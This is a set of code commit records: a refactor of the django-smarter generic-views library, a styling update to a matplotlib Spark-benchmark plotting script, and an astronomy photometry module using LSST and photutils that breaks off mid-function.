<commit_before>#-*- coding: utf-8 -*-
"""
django-smarter
--------------

Copyright (c) 2013, Alexey Kinyov <rudy@05bit.com>
Licensed under BSD, see LICENSE for more details.
"""
import re
from django.conf.urls.defaults import patterns, include, url
from django.forms.models import modelform_factory, ModelForm
from django.http import HttpResponse
from django.shortcuts import get_object_or_404, render, redirect

class AlreadyRegistered(Exception):
    """Views registration error: view is already registered."""
    pass

class InvalidAction(Exception):
    """Views action error: action name must contain only latin
    letters and "_"/"-", can't start with "get_" or "_"/"-", can't
    contain "__".
    """
    pass

_baseconfig = {
    'index': {
        'url': r'',
    },
    'details': {
        'url': r'(?P<pk>\d+)/',
    },
    'add': {
        'url': r'add/',
        'redirect': lambda view, request, **kwargs: view.get_url('details', pk=kwargs['obj'].pk),
    },
    'edit': {
        'url': r'(?P<pk>\d+)/edit/',
        'redirect': lambda view, request, **kwargs: view.get_url('details', pk=kwargs['obj'].pk),
    },
    'remove': {
        'url': r'(?P<pk>\d+)/remove/',
        'redirect': lambda view, request, **kwargs: view.get_url('index'),
    },
}

_action = '_action'

class Site(object):
    def __init__(self, prefix=None, delim='-'):
        """
        Creates site object.

        Keyword arguments:
        prefix  -- prefix for url names
        delim   -- delimiter for url names, can be '_', '-' or empty string
        """
        if not delim in ('-', '-', ''):
            raise Exception("Delimiter must be in '-', '_' or empty string.")
        self._prefix = prefix
        self._delim = delim
        self._registered = []

    def register(self, views, model=None, base_url=None, prefix=None):
        """Register views.

        Views added with `base_url` and every view gets named url
        with scheme: [site prefix]-[views prefix]-[action], e.g.:

            app-page-index
            app-page-add
            app-page-edit
            app-page-details
            etc.

        If `prefix` is not defined [views prefix] is set to model
        lowercase name.

        Arguments:
        views -- views class, e.g. smarter.GenericViews

        Keyword arguments:
        model    -- model for views (overrides one defined in views class)
        base_url -- base url for views
        prefix   -- prefix in url names for urls resolver

        Returns: None
        """
        from django.db.models import Model

        model = model or views.model
        if not model:
            raise Exception("Model is not specified, views must be registered for some model!")

        for r in self._registered:
            if r['model'] == model and r['views'] == views:
                raise AlreadyRegistered()

        prefix_bits, model_name = [], model._meta.object_name.lower()
        if self._prefix:
            prefix_bits.append(self._prefix)

        if prefix:
            prefix_bits.append(prefix)
        else:
            prefix_bits.append(model_name)

        if base_url:
            base_url = '%s/' % (base_url.strip(' /') or model_name)
        else:
            base_url = '%s/' % model_name

        self._registered.append({
                'base_url': base_url,
                'prefix': self._delim.join(prefix_bits),
                'delim': self._delim,
                'model': model,
                'views': views,
            })

    @property
    def urls(self):
        """
        Site urls.
        """
        return [url(r['base_url'], include(r['views'](**r)._urls()))
            for r in self._registered]

class GenericViews(object):
    defaults = {
        'initial': None,
        'form': ModelForm,
        'exclude': None,
        'fields': None,
        'labels': None,
        'widgets': None,
        'required': None,
        'help_text': None,
        'template': (
            '%(app)s/%(model)s/%(action)s.html',
            '%(app)s/%(model)s/%(action)s.ajax.html',
            'smarter/%(action)s.html',
            'smarter/_form.html',
            'smarter/_ajax.html',),
        'decorators': None,
    }

    def __init__(self, **kwargs):
        """
        Creates and initializes generic views handler. You should not
        call it directly, as views are created while registering
        ``Site.urls``.
        """
        options = getattr(self, 'options', {})
        defaults = getattr(self, 'defaults', {})

        self._actions = set(_baseconfig.keys()).union(options.keys())
        for action in self._actions:
            if re.match(r"^((get_|_|-).*|.*__.*)", action):
                raise InvalidAction("Invalid action name: %s" % action)

        if not kwargs['model']:
            raise Exception("No model specified for views!")

        self.model, self._delim, self._prefix = \
            kwargs['model'], kwargs['delim'], kwargs['prefix']

    def get_param(self, request_or_action, name, default=None):
        options = getattr(self, 'options', {})
        defaults = getattr(self, 'defaults', {})
        action = getattr(request_or_action, _action, request_or_action)

        if not action in self._actions:
            raise Exception("No such action %s:" % action)

        if action in options and name in options[action]:
            return options[action][name]
        elif name in defaults:
            return defaults[name]
        elif action in _baseconfig:
            try:
                return _baseconfig[action][name]
            except KeyError:
                pass

        return default

    def get_object(self, **kwargs):
        return get_object_or_404(self.model, **kwargs)

    def get_objects_list(self, request, **kwargs):
        return self.model.objects.filter(**kwargs)

    def get_initial(self, request):
        initial_fields, initial = self.get_param(request, 'initial'), {}
        if initial_fields:
            for f in initial_fields:
                if f in request.GET:
                    initial[f] = request.GET[f]
        return initial

    def get_template(self, request_or_action, is_ajax=None):
        format = {
            'action': getattr(request_or_action, _action, request_or_action),
            'app': self.model._meta.app_label,
            'model': self.model._meta.object_name.lower(),
        }
        template = self.get_param(request_or_action, 'template')

        if isinstance(template, (str, unicode)):
            return template % format

        if is_ajax is None and hasattr(request_or_action, 'is_ajax'):
            is_ajax = request_or_action.is_ajax()
        def _filtered():
            for t in template:
                if ('ajax' in t) == bool(is_ajax):
                    yield t % format
        return list(_filtered())
        # def _sorted():
        #     for t in templates:
        #         if ('ajax' in t) == bool(is_ajax):
        #             yield t
        #     for t in templates:
        #         if (not 'ajax' in t) == bool(is_ajax):
        #             yield t
        # return list(_sorted())

    def get_form(self, request, **kwargs):
        from django.forms.models import modelform_factory, ModelForm

        form_options = {'form': self.get_param(request, 'form')}
        if form_options['form']:
            form_options.update({
                'exclude': self.get_param(request, 'exclude'),
                'fields': self.get_param(request, 'fields'),
            })
            form_class = modelform_factory(model=self.model, **form_options)
        else:
            return

        form_kwargs = kwargs.get('form', {})
        form_kwargs.setdefault('initial', self.get_initial(request))
        if request.method == 'POST':
            form = form_class(request.POST, files=request.FILES, **form_kwargs)
        else:
            form = form_class(**form_kwargs)

        for k, v in (self.get_param(request, 'labels') or {}).items():
            form.fields[k].label = v
        for k, v in (self.get_param(request, 'widgets') or {}).items():
            form.fields[k].widget = v
        for k, v in (self.get_param(request, 'help_text') or {}).items():
            form.fields[k].help_text = v
        for k, v in (self.get_param(request, 'required') or {}).items():
            form.fields[k].required = v

        return form

    def get_url(self, action, *args, **kwargs):
        from django.core.urlresolvers import reverse
        return reverse(self._url_name(action), args=args, kwargs=kwargs)

    def deny(self, request, message=None):
        from django.core.exceptions import PermissionDenied
        raise PermissionDenied

    def index(self, request, **kwargs):
        return {'objects_list': self.get_objects_list(kwargs)}

    def index__form(self, request, **kwargs):
        pass

    def index__done(self, request, **kwargs):
        return render(request, self.get_template(request), kwargs)

    def details(self, request, **kwargs):
        return {'obj': self.get_object(**kwargs)}

    def details__form(self, request, **kwargs):
        pass

    def details__done(self, request, **kwargs):
        return render(request, self.get_template(request), kwargs)

    def add(self, request):
        pass

    def _urls(self):
        return [url(r'^' + self.get_param(action, 'url') + r'$',
                    self._view(action), name=self._url_name(action))
                for action in self._actions]

    def _url_name(self, action):
        return '%s%s%s' % (self._prefix, self._delim, action)

    def _pipeline(self, action):
        """
        View method pipeline.
        """
        pipes = ('%s', '%s__perm', '%s__form', '%s__post', '%s__done')
        for pipe in pipes:
            method = pipe % action.replace('-', '_')
            if hasattr(self, method):
                yield getattr(self, method)
            else:
                yield getattr(self, pipe % '_pipe')

    def _pipe(self, request, **kwargs):
        """
        Default initial view method. Returns object and
        form parameters.
        """
        obj = self.get_object(**kwargs)
        return {'obj': obj, 'form': {'instance': obj}}

    def _pipe__perm(self, request, **kwargs):
        """
        Checks permissions.
        """
        perm = self.get_param(request, 'permissions')
        if perm and not request.user.has_perm(perm):
            return self.deny(request)

    def _pipe__form(self, request, **kwargs):
        """
        Creates and processes form. If form is successfully saved,
        there's ``'form_saved': True`` in result dict.
        """
        form = self.get_form(request, **kwargs)
        if form:
            kwargs['form'] = form
            if form.is_bound and form.is_valid():
                kwargs['obj'] = self._pipe__save(request, **kwargs)
                kwargs['form_saved'] = True
            return kwargs
        else:
            kwargs.pop('form', None)
            return kwargs

    def _pipe__save(self, request, form=None, **kwargs):
        """
        Saves form and returns saved object.
        """
        return form.save()

    def _pipe__post(self, request, **kwargs):
        """
        Post-processing, called after form processing, if you need
        to know wether form was saved, check if ``form_saved argument
        is ``True``.
        """
        pass

    def _pipe__done(self, request, **kwargs):
        """
        View processing done: redirect if ``form_saved is ``True`` or
        render template.
        """
        if kwargs.get('form_saved', False):
            redirect_path = self.get_param(request, 'redirect')
            if callable(redirect_path):
                return redirect(redirect_path(self, request, **kwargs))
            else:
                return redirect(redirect_path)
        return render(request, self.get_template(request), kwargs,
                      content_type='application/json' if request.is_ajax() else None)

    def _view(self, action):
        def inner(request, **kwargs):
            # return HttpResponse(action)
            setattr(request, _action, action)
            result = kwargs
            for pipe in self._pipeline(action):
                result = pipe(request, **result) or result
                if isinstance(result, HttpResponse):
                    return result

        for d in self.get_param(action, 'decorators') or ():
            inner = d(inner)

        return inner
<commit_msg>GenericViews.get_param refactored & disable action feature<commit_after>#-*- coding: utf-8 -*-
"""
django-smarter
--------------

Copyright (c) 2013, Alexey Kinyov <rudy@05bit.com>
Licensed under BSD, see LICENSE for more details.
"""
import re
from django.conf.urls.defaults import patterns, include, url
from django.forms.models import modelform_factory, ModelForm
from django.http import HttpResponse
from django.shortcuts import get_object_or_404, render, redirect

class AlreadyRegistered(Exception):
    """Views registration error: view is already registered."""
    pass

class InvalidAction(Exception):
    """Views action error: action name must contain only latin
    letters and "_"/"-", can't start with "get_" or "_"/"-", can't
    contain "__".
    """
    pass

_baseconfig = {
    'index': {
        'url': r'',
    },
    'details': {
        'url': r'(?P<pk>\d+)/',
    },
    'add': {
        'url': r'add/',
        'redirect': lambda view, request, **kwargs: view.get_url('details', pk=kwargs['obj'].pk),
    },
    'edit': {
        'url': r'(?P<pk>\d+)/edit/',
        'redirect': lambda view, request, **kwargs: view.get_url('details', pk=kwargs['obj'].pk),
    },
    'remove': {
        'url': r'(?P<pk>\d+)/remove/',
        'redirect': lambda view, request, **kwargs: view.get_url('index'),
    },
}

_action = '_action'

class Site(object):
    def __init__(self, prefix=None, delim='-'):
        """
        Creates site object.

        Keyword arguments:
        prefix  -- prefix for url names
        delim   -- delimiter for url names, can be '_', '-' or empty string
        """
        if not delim in ('-', '-', ''):
            raise Exception("Delimiter must be in '-', '_' or empty string.")
        self._prefix = prefix
        self._delim = delim
        self._registered = []

    def register(self, views, model=None, base_url=None, prefix=None):
        """Register views.

        Views added with `base_url` and every view gets named url
        with scheme: [site prefix]-[views prefix]-[action], e.g.:

            app-page-index
            app-page-add
            app-page-edit
            app-page-details
            etc.

        If `prefix` is not defined [views prefix] is set to model
        lowercase name.

        Arguments:
        views -- views class, e.g. smarter.GenericViews

        Keyword arguments:
        model    -- model for views (overrides one defined in views class)
        base_url -- base url for views
        prefix   -- prefix in url names for urls resolver

        Returns: None
        """
        from django.db.models import Model

        model = model or views.model
        if not model:
            raise Exception("Model is not specified, views must be registered for some model!")

        for r in self._registered:
            if r['model'] == model and r['views'] == views:
                raise AlreadyRegistered()

        prefix_bits, model_name = [], model._meta.object_name.lower()
        if self._prefix:
            prefix_bits.append(self._prefix)

        if prefix:
            prefix_bits.append(prefix)
        else:
            prefix_bits.append(model_name)

        if base_url:
            base_url = '%s/' % (base_url.strip(' /') or model_name)
        else:
            base_url = '%s/' % model_name

        self._registered.append({
                'base_url': base_url,
                'prefix': self._delim.join(prefix_bits),
                'delim': self._delim,
                'model': model,
                'views': views,
            })

    @property
    def urls(self):
        """
        Site urls.
        """
        return [url(r['base_url'], include(r['views'](**r)._urls()))
            for r in self._registered]

class GenericViews(object):
    defaults = {
        'initial': None,
        'form': ModelForm,
        'exclude': None,
        'fields': None,
        'labels': None,
        'widgets': None,
        'required': None,
        'help_text': None,
        'template': (
            '%(app)s/%(model)s/%(action)s.html',
            '%(app)s/%(model)s/%(action)s.ajax.html',
            'smarter/%(action)s.html',
            'smarter/_form.html',
            'smarter/_ajax.html',),
        'decorators': None,
    }

    def __init__(self, **kwargs):
        """
        Creates and initializes generic views handler. You should not
        call it directly, as views are created while registering
        ``Site.urls``.
        """
        options = getattr(self, 'options', {})
        defaults = getattr(self, 'defaults', {})

        # Options dict and actions names list.
        self._options, self._actions = {}, []

        # Merge base, default and custom options to self._options dict
        # and skip disabled actions - for which options is explicitly
        # set to None.
        for action in set(_baseconfig.keys()).union(options.keys()):
            try:
                if options[action] is None:
                    continue
            except KeyError:
                pass

            self._actions.append(action)
            self._options[action] = dict(_baseconfig.get(action, {}).items() +
                                         defaults.items() +
                                         options.get(action, {}).items())

        # Validate action names.
        for action in self._actions:
            if re.match(r"^((get_|_|-).*|.*__.*)", action):
                raise InvalidAction("Invalid action name: %s" % action)

        # Validate and setup other params.
        if not kwargs['model']:
            raise Exception("No model specified for views!")
        self.model, self._delim, self._prefix = \
            kwargs['model'], kwargs['delim'], kwargs['prefix']

    def get_param(self, request_or_action, name, default=None):
        action = getattr(request_or_action, _action, request_or_action)
        return self._options[action].get(name, default)

    def get_object(self, **kwargs):
        return get_object_or_404(self.model, **kwargs)

    def get_objects_list(self, request, **kwargs):
        return self.model.objects.filter(**kwargs)

    def get_initial(self, request):
        initial_fields, initial = self.get_param(request, 'initial'), {}
        if initial_fields:
            for f in initial_fields:
                if f in request.GET:
                    initial[f] = request.GET[f]
        return initial

    def get_template(self, request_or_action, is_ajax=None):
        format = {
            'action': getattr(request_or_action, _action, request_or_action),
            'app': self.model._meta.app_label,
            'model': self.model._meta.object_name.lower(),
        }
        template = self.get_param(request_or_action, 'template')

        if isinstance(template, (str, unicode)):
            return template % format

        if is_ajax is None and hasattr(request_or_action, 'is_ajax'):
            is_ajax = request_or_action.is_ajax()
        def _filtered():
            for t in template:
                if ('ajax' in t) == bool(is_ajax):
                    yield t % format
        return list(_filtered())
        # def _sorted():
        #     for t in templates:
        #         if ('ajax' in t) == bool(is_ajax):
        #             yield t
        #     for t in templates:
        #         if (not 'ajax' in t) == bool(is_ajax):
        #             yield t
        # return list(_sorted())

    def get_form(self, request, **kwargs):
        from django.forms.models import modelform_factory, ModelForm

        form_options = {'form': self.get_param(request, 'form')}
        if form_options['form']:
            form_options.update({
                'exclude': self.get_param(request, 'exclude'),
                'fields': self.get_param(request, 'fields'),
            })
            form_class = modelform_factory(model=self.model, **form_options)
        else:
            return

        form_kwargs = kwargs.get('form', {})
        form_kwargs.setdefault('initial', self.get_initial(request))
        if request.method == 'POST':
            form = form_class(request.POST, files=request.FILES, **form_kwargs)
        else:
            form = form_class(**form_kwargs)

        for k, v in (self.get_param(request, 'labels') or {}).items():
            form.fields[k].label = v
        for k, v in (self.get_param(request, 'widgets') or {}).items():
            form.fields[k].widget = v
        for k, v in (self.get_param(request, 'help_text') or {}).items():
            form.fields[k].help_text = v
        for k, v in (self.get_param(request, 'required') or {}).items():
            form.fields[k].required = v

        return form

    def get_url(self, action, *args, **kwargs):
        from django.core.urlresolvers import reverse
        return reverse(self._url_name(action), args=args, kwargs=kwargs)

    def deny(self, request, message=None):
        from django.core.exceptions import PermissionDenied
        raise PermissionDenied

    def index(self, request, **kwargs):
        return {'objects_list': self.get_objects_list(kwargs)}

    def index__form(self, request, **kwargs):
        pass

    def index__done(self, request, **kwargs):
        return render(request, self.get_template(request), kwargs)

    def details(self, request, **kwargs):
        return {'obj': self.get_object(**kwargs)}

    def details__form(self, request, **kwargs):
        pass

    def details__done(self, request, **kwargs):
        return render(request, self.get_template(request), kwargs)

    def add(self, request):
        pass

    def _urls(self):
        return [url(r'^' + self.get_param(action, 'url') + r'$',
                    self._view(action), name=self._url_name(action))
                for action in self._actions]

    def _url_name(self, action):
        return '%s%s%s' % (self._prefix, self._delim, action)

    def _pipeline(self, action):
        """
        View method pipeline.
        """
        pipes = ('%s', '%s__perm', '%s__form', '%s__post', '%s__done')
        for pipe in pipes:
            method = pipe % action.replace('-', '_')
            if hasattr(self, method):
                yield getattr(self, method)
            else:
                yield getattr(self, pipe % '_pipe')

    def _pipe(self, request, **kwargs):
        """
        Default initial view method. Returns object and
        form parameters.
        """
        obj = self.get_object(**kwargs)
        return {'obj': obj, 'form': {'instance': obj}}

    def _pipe__perm(self, request, **kwargs):
        """
        Checks permissions.
        """
        perm = self.get_param(request, 'permissions')
        if perm and not request.user.has_perm(perm):
            return self.deny(request)

    def _pipe__form(self, request, **kwargs):
        """
        Creates and processes form. If form is successfully saved,
        there's ``'form_saved': True`` in result dict.
        """
        form = self.get_form(request, **kwargs)
        if form:
            kwargs['form'] = form
            if form.is_bound and form.is_valid():
                kwargs['obj'] = self._pipe__save(request, **kwargs)
                kwargs['form_saved'] = True
            return kwargs
        else:
            kwargs.pop('form', None)
            return kwargs

    def _pipe__save(self, request, form=None, **kwargs):
        """
        Saves form and returns saved object.
        """
        return form.save()

    def _pipe__post(self, request, **kwargs):
        """
        Post-processing, called after form processing, if you need
        to know wether form was saved, check if ``form_saved argument
        is ``True``.
        """
        pass

    def _pipe__done(self, request, **kwargs):
        """
        View processing done: redirect if ``form_saved is ``True`` or
        render template.
        """
        if kwargs.get('form_saved', False):
            redirect_path = self.get_param(request, 'redirect')
            if callable(redirect_path):
                return redirect(redirect_path(self, request, **kwargs))
            else:
                return redirect(redirect_path)
        return render(request, self.get_template(request), kwargs,
                      content_type='application/json' if request.is_ajax() else None)

    def _view(self, action):
        def inner(request, **kwargs):
            # return HttpResponse(action)
            setattr(request, _action, action)
            result = kwargs
            for pipe in self._pipeline(action):
                result = pipe(request, **result) or result
                if isinstance(result, HttpResponse):
                    return result

        for d in self.get_param(action, 'decorators') or ():
            inner = d(inner)

        return inner
<|endoftext|>


<commit_before>#!/usr/bin/env python
#coding: utf-8

import sys, os, re
from collections import defaultdict, namedtuple
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt

RecordRaw=namedtuple("RecordRaw", "type durtation data_size throughput_total throughput_per_node")
Record=namedtuple("Record", "type language durtation data_size throughput_total throughput_per_node")

def human_readable_size(n):
    "convert number into human readable string"
    if n<1000: return str(n)
    if n<800000: return "%.3fK" % (n/1000.0)
    if n<800000000: return "%.3fM" % (n/1000000.0)
    if n<800000000000: return "%.3fG" % (n/1000000000.0)
    return "%.3fT" % (n/1000000000000.0)

def group_by_type(datas):
    groups = defaultdict(dict)
    for i in datas:
        words = re.sub(r'((?<=[a-z])[A-Z]|(?<!\A)[A-Z](?=[a-z]))', r' \1', i.type).split()
        prefix = words[0].lower()
        suffix = "_".join([x.lower() for x in words[1:]])
        groups[suffix][prefix] = Record(type = "".join(words[1:]),
                                        language = prefix,
                                        durtation = i.durtation,
                                        data_size = i.data_size,
                                        throughput_total = i.throughput_total,
                                        throughput_per_node = i.throughput_per_node
                                        )
    return dict(groups)

def report_plot(fn):
    if not os.path.isfile(fn):
        print "Failed to find `sparkbench.report`"
        sys.exit(1)

    with open(fn) as f:
        data = [x.split() for x in f.readlines()[1:]]

    groups = group_by_type([RecordRaw(type = x[0],
                                      data_size = int(x[3]),
                                      durtation = float(x[4]),
                                      throughput_total = int(x[5]) / 1024.0 / 1024,
                                      throughput_per_node = int(x[6]) / 1024.0 /1024
                                      ) for x in data])

    #print groups
    base_dir = os.path.dirname(fn)
    plot(groups, "Seconds of durtations (Less is better)", "Seconds", "durtation", os.path.join(base_dir, "durtation.png"))
#    plot(groups, "Throughput in total (Higher is better)", "MB/s", "throughput_total", os.path.join(base_dir, "throughput_total.png"))
#    plot(groups, "Throughput per node (Higher is better)", "MB/s", "throughput_per_node", os.path.join(base_dir, "throughput_per_node.png"))

def plot(groups, title="Seconds of durtations", ylabel="Seconds", value_field="durtation", fig_fn = "foo.png"):
    # plot it
    keys = groups.keys()
    languages = reduce(lambda x,y: x.union(y), [set([groups[x][y].language for y in groups[x]]) for x in groups])
    width = 0.15
    rects = []

    fig = plt.figure()
    ax = plt.axes()
    colors='rgbcym'
    for idx, lang in enumerate(languages):
        rects.append(ax.bar([x + width * (idx + 1) for x in range(len(keys))], # x index
                            [getattr(groups[x][lang], value_field) if x in groups and groups[x].has_key(lang) else 0 for x in keys], # value
                            width,
                            color = colors[idx]
                            )  # width

                     )

    ax.set_ylabel(ylabel)
    ax.set_title(title)

    x_axis_offset = len(languages)* width /2.0
    ax.set_xticks([(x + width + x_axis_offset) for x in range(len(keys))])
    ax.set_xticklabels(["%s \n@%s" % (x, human_readable_size(groups[x].values()[0].data_size)) for x in keys])
    ax.grid(True)

    ax.legend([x[0] for x in rects],
              languages)

    def autolabel(rects):
        for rect in rects:
            height = rect.get_height()
            ax.text(rect.get_x()+rect.get_width()/2., 1.05*height, '%d' % int(height),
                    ha='center', va='bottom')
#    [autolabel(x) for x in rects]

    fig = plt.gcf()
    fig.set_size_inches(18.5,10.5)

    plt.savefig(fig_fn, dpi=100)

if __name__ == "__main__":
    try:
        default_report_fn = sys.argv[1]
    except:
        default_report_fn = os.path.join(os.path.dirname(__file__), "..", "sparkbench.report")

    report_plot(default_report_fn)
<commit_msg>import plot<commit_after>#!/usr/bin/env python
#coding: utf-8

import sys, os, re
from pprint import pprint
from collections import defaultdict, namedtuple
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import matplotlib.colors as colors
import matplotlib.cm as cmx
import numpy as np

RecordRaw=namedtuple("RecordRaw", "type durtation data_size throughput_total throughput_per_node")
Record=namedtuple("Record", "type language durtation data_size throughput_total throughput_per_node")

def human_readable_size(n):
    "convert number into human readable string"
    if n<1000: return str(n)
    if n<800000: return "%.3fK" % (n/1000.0)
    if n<800000000: return "%.3fM" % (n/1000000.0)
    if n<800000000000: return "%.3fG" % (n/1000000000.0)
    return "%.3fT" % (n/1000000000000.0)

def group_by_type(datas):
    groups = defaultdict(dict)
    for i in datas:
        words = re.sub(r'((?<=[a-z])[A-Z]|(?<!\A)[A-Z](?=[a-z]))', r' \1', i.type).split()
        prefix = words[0].lower()
        suffix = "_".join([x.lower() for x in words[1:]])
        groups[suffix][prefix] = Record(type = "".join(words[1:]),
                                        language = prefix,
                                        durtation = i.durtation,
                                        data_size = i.data_size,
                                        throughput_total = i.throughput_total,
                                        throughput_per_node = i.throughput_per_node
                                        )
    return dict(groups)

def report_plot(fn):
    if not os.path.isfile(fn):
        print "Failed to find `sparkbench.report`"
        sys.exit(1)

    with open(fn) as f:
        data = [x.split() for x in f.readlines()[1:] if x.strip() and not x.strip().startswith('#')]

    pprint(data, width=300)
    groups = group_by_type([RecordRaw(type = x[0],
                                      data_size = int(x[3]),
                                      durtation = float(x[4]),
                                      throughput_total = int(x[5]) / 1024.0 / 1024,
                                      throughput_per_node = int(x[6]) / 1024.0 /1024
                                      ) for x in data])

    #print groups
    base_dir = os.path.dirname(fn)
    plot(groups, "Seconds of durtations (Less is better)", "Seconds", "durtation", os.path.join(base_dir, "durtation.png"))
#    plot(groups, "Throughput in total (Higher is better)", "MB/s", "throughput_total", os.path.join(base_dir, "throughput_total.png"))
#    plot(groups, "Throughput per node (Higher is better)", "MB/s", "throughput_per_node", os.path.join(base_dir, "throughput_per_node.png"))

def plot(groups, title="Seconds of durtations", ylabel="Seconds", value_field="durtation", fig_fn = "foo.png"):
    # plot it
    keys = groups.keys()
    languages = reduce(lambda x,y: x.union(y), [set([groups[x][y].language for y in groups[x]]) for x in groups])
    width = 0.15
    rects = []

    fig = plt.figure()
    ax = plt.axes()
    colors='rgbcymw'
#    NCURVES=10
#    curves = [np.random.random(20) for i in range(NCURVES)]
#    values = range(NCURVES)
#    jet = colors.Colormap('jet')
#    cNorm  = colors.Normalize(vmin=0, vmax=values[-1])
#    scalarMap = cmx.ScalarMappable(norm=cNorm, cmap=jet)
    patterns = ('-', '+', 'x', '\\', '/', '*', '.', 'O')
    for idx, lang in enumerate(languages):
        rects.append(ax.bar([x + width * (idx + 1) for x in range(len(keys))], # x index
                            [getattr(groups[x][lang], value_field) if x in groups and groups[x].has_key(lang) else 0 for x in keys], # value
                            width,
                            color = colors[idx],
                            hatch = patterns[idx]
                            )  # width

                     )

    # Set the tick labels font
    for label in (ax.get_xticklabels() + ax.get_yticklabels()):
        label.set_fontname('Arial')
        label.set_fontsize(24)

    ax.set_ylabel(ylabel, fontname="Arial", size="32")
    ax.set_title(title, fontname="Arial", size="44")

    x_axis_offset = len(languages)* width /2.0
    ax.set_xticks([(x + width + x_axis_offset) for x in range(len(keys))])
    ax.set_xticklabels(["%s \n@%s" % (x, human_readable_size(groups[x].values()[0].data_size)) for x in keys])
    ax.grid(True)

    ax.legend([x[0] for x in rects],
              languages)

    def autolabel(rects):
        for rect in rects:
            height = rect.get_height()
            ax.text(rect.get_x()+rect.get_width()/2., 1.05*height, '%d' % int(height),
                    ha='center', va='bottom')
#    [autolabel(x) for x in rects]

    fig = plt.gcf()
    fig.set_size_inches(18.5,10.5)

    plt.savefig(fig_fn, dpi=100)

if __name__ == "__main__":
    try:
        default_report_fn = sys.argv[1]
    except:
        default_report_fn = os.path.join(os.path.dirname(__file__), "..", "sparkbench.report")

    report_plot(default_report_fn)
<|endoftext|>


<commit_before>from __future__ import division, print_function

import numpy as np
import lsst.afw.image as afwImage
import lsst.afw.detection as afwDet
from astropy.table import Table, vstack
from astropy.convolution import Gaussian2DKernel
import photutils as phut
from . import utils

__all__ = ['associate',
           'deblend_stamps',
           'image_threshold',
           'photometry']

def associate(mask, fpset, r_in=5, r_out=15, max_on_bit=20.,
              min_pix=1, plane_name='THRESH_HIGH', dilate=None):
    """
    Associate footprints in fpset with footprints in mask plane
    'plane_name'. A footprint is associated with an object if
    an on bit falls within an annulus centered with respect to
    all its peaks.

    Parameters
    ----------
    mask : lsst.afw.image.imageLib.MaskU
        Mask object with plane named 'plane_name'.
    fpset : lsst.afw.detection.detectionLib.FootprintSet
        Set of footprints to associate with objects in mask.
    r_in : float, optional
        Inner radius in pixels of the association annulus.
    r_out : float, optional
        Outer radius in pixels of the association annulus.
    max_on_bit : int, optional
        Maximum number of on bits to consider as associated.
    min_pix : int, optional
        Footprints with less pixels will be masked. Set to 1
        to ignore this option.
    plane_name : string, optional
        Name of the bit plane in mask to associate footprints with.
    dilate : int, optional
        If not None, dilate association image with array of shape
        (dilate, dilate).

    Returns
    -------
    seg_assoc : 2D ndarray
        Segmentation image with non-zero values for all footprints
        that are associated with an object in the mask.

    Notes
    -----
    seg_assoc also includes footprints near objects with the
    'BRIGHT_OBJECT' bit set.
    """
    x0, y0 = mask.getXY0()
    # False --> use footprint ids
    seg = fpset.insertIntoImage(False).getArray().copy()
    shape = seg.shape
    seg_assoc = np.zeros(shape, dtype=int)
    for foot in fpset.getFootprints():
        peaks = np.array([[p.getCentroid()[0]-x0,
                           p.getCentroid()[1]-y0] for p in foot.getPeaks()])
        xc, yc = peaks.mean(axis=0)
        rows, cols = utils.annuli(yc, xc, r_in, r_out, shape=shape)
        ann_pix = mask.getArray()[rows, cols]
        on_bits = (ann_pix & mask.getPlaneBitMask(plane_name))!=0
        on_bits |= (ann_pix & mask.getPlaneBitMask('BRIGHT_OBJECT'))!=0
        if np.sum(on_bits) > max_on_bit:
            seg_assoc[seg==foot.getId()] = 1
        elif foot.getNpix() < min_pix:
            seg_assoc[seg==foot.getId()] = 1
    if dilate is not None:
        from scipy import ndimage
        dilator = np.ones((dilate, dilate))
        seg_assoc = ndimage.binary_dilation(seg_assoc, dilator)
        seg_assoc = seg_assoc.astype(int)
    return seg_assoc

def deblend_stamps(exposure, npix=5, thresh_snr=0.5, kern_sig_pix=3,
                   detect_kwargs={}, deblend_kwargs={}):
    """
    Use photutils to deblend sources within "detection" postage stamps.

    Parameters
    ----------
    exposure : lsst.afw.ExposureF
        Exposure object with masks from hugsPipe.run.
    thresh_snr : float, optional
        The signal-to-noise ratio per pixel above the background
        for which to consider a pixel as possibly being part of a source.
    kern_sig_pix : float
        Sigma (in pixels) of Gaussian kernal used to smooth detection image.
    npix : int, optional
        Number of pixels above required to be an object.
    detect_kwargs :  dict, optional
        Kwargs for photutils.detect_sources.
    deblend_kwargs :  dict, optional
        Kwargs for photutils.deblend_sources.

    Returns
    -------
    table : astropy.table.Table
        Source measurements.
    """
    mask = exposure.getMaskedImage().getMask()
    if 'DETECTED_NEGATIVE' in list(mask.getMaskPlaneDict().keys()):
        mask.removeAndClearMaskPlane('DETECTED_NEGATIVE', True)
    planes = mask.getPlaneBitMask(['THRESH_LOW', 'DETECTED'])
    fpset = afwDet.FootprintSet(
        mask, afwDet.Threshold(planes, afwDet.Threshold.BITMASK))
    wcs = exposure.getWcs()
    table = Table()
    kern = Gaussian2DKernel(kern_sig_pix)
    kern.normalize()
    fp_id = 1
    for fp in fpset.getFootprints():
        bbox = fp.getBBox()
        exp = exposure.Factory(exposure, bbox, afwImage.PARENT)
        hfp = afwDet.HeavyFootprintF(fp, exposure.getMaskedImage())
        pix = hfp.getMaskArray()
        bits = [(pix & mask.getPlaneBitMask(['DETECTED'])!=0).sum()>0,
                (pix & mask.getPlaneBitMask(['BRIGHT_OBJECT'])!=0).sum()==0]
        if np.alltrue(bits):
            img = exp.getMaskedImage().getImage().getArray().copy()
            x0, y0 = exp.getXY0()
            thresh = phut.detect_threshold(img,
                                           snr=thresh_snr,
                                           **detect_kwargs)
            seg = phut.detect_sources(img, thresh, npixels=npix,
                                      filter_kernel=kern)
            if seg.nlabels==0:
                continue
            seg_db = phut.deblend_sources(
                img, seg, npixels=npix,
                filter_kernel=kern, **deblend_kwargs)
            props = phut.source_properties(img, seg_db)
            props = phut.properties_table(props)
            props['x_hsc'] = props['xcentroid'] + x0
            props['y_hsc'] = props['ycentroid'] + y0
            props['fp_id'] = [fp_id]*len(props)
            fp_id += 1
            if len(props)>1:
                props['is_deblended'] = [True]*len(props)
            else:
                props['is_deblended'] = False
            table = vstack([table, props])
    table['id'] = np.arange(1, len(table)+1)
    remove_cols = [
        'ra_icrs_centroid', 'dec_icrs_centroid', 'source_sum_err',
        'background_sum', 'background_mean', 'background_at_centroid']
    table.remove_columns(remove_cols)
    ra_list = []
    dec_list = []
    for x, y in table['x_hsc', 'y_hsc']:
        ra = wcs.pixelToSky(x, y).getLongitude().asDegrees()
